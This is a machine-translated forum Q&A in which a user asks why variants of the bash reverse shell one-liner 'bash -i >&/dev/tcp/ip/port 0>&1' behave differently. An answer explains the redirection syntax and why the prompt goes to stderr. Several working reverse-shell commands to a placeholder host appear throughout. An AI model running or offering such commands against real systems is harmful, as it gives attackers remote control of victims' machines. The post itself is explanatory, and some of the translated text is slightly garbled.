Bash 反转 shell 奇怪的行为

Bash reverse shell strange behavior

我今天尝试尽可能多地理解一个命令(找到 here)以在受害者端打开反向 shell。在这里:

bash -i >&/dev/tcp/ip/port 0>&1

然而,我并没有完全明白为什么第一个重定向是>&。我明白 /dev/tcp/ip/port 是由 bash 创建的 "pseudo" 文件,但我没有找到信息是否必须将其视为真实文件或文件描述符。因此,我试着把它当作一个真实的文件,并像这样重写了 bash 命令:

bash -i >/dev/tcp/ip/port 0>&1

在这种情况下,发生了一种奇怪的行为:反向 shell 正在按预期工作(我可以在攻击者端键入一些命令并在攻击者端也获得输出),除了一个输出: bash 命令提示符文本。所以唯一没有打印在攻击者端但在受害者端的是:

bash-4.4$

其他一切都按预期打印,即在攻击方。

我尝试的最后一个测试是像这样更改 bash 命令:

bash -i >/dev/tcp/ip/port <&1

确实,在阅读 bash 的手册页后,使用 < 重定向对我来说更有意义,正如手册页中所述,这将打开文件描述符 1 用于读取文件描述符 0。在这里,出现了与第二个命令相同的问题(除了 bash 命令提示符 bash-4.4$ 之外,所有内容都打印在攻击者身上)。

我还注意到像这样重定向 stderr:

bash -i >/dev/tcp/ip/port 2>&2 <&1

解决了问题,就好像 bash-4.4$ 打印在 stderr 上一样...

因此我有四个问题找不到答案:

  1. /dev/tcp/dev/udp 应该被视为文件还是直接作为文件描述符?这相当于问:我们应该写 echo "hello" >/dev/tcp/ip/port 还是 echo "hello" >&/dev/tcp/ip/port
  2. 为什么作者使用 0>&1 而不是 <&1 来更改标准输入,它怎么可能在命令的第一个版本中起作用?
  3. 为什么第二个和第三个命令会出现这种奇怪的行为?怎么可能只有部分输出被重定向?在我看来,它应该要么重定向所有内容,要么什么都不重定向。
  4. 为什么在最后一个命令中重定向 stderr 可以解决问题?这不是在第一个命令(作者的原始命令)上完成的,但它仍然有效..

非常感谢您的回答!我希望我把这个 post 说得尽可能清楚了。

  1. bash中的一个文件描述符是一个数字, i. e. 一个或多个数字,所以/dev/…肯定不是文件描述符。您被特殊构造 >& 误导了,除非后面跟着一个数字,否则它不是用于复制输出文件描述符的重定向运算符,而是 redirecting standard output and standard error.

    的不受欢迎的格式
  2. 为什么作者使用0>&1来改变stdin而不是<&1,只有他(或能读懂他心思的人) ) 可以告诉;我同意你的看法,使用 < 重定向更有意义。这两个版本都有效,因为 &1 指的是 /dev/tcp/<i>ip</i>/<i>port</i> ,既可以读取也可以写入。

  3. 这种行为一点也不奇怪,因为正如您已经写过的那样,提示 打印在 stderr 上。

  4. 嗯,重定向标准错误 在第一个命令上完成通过 >&.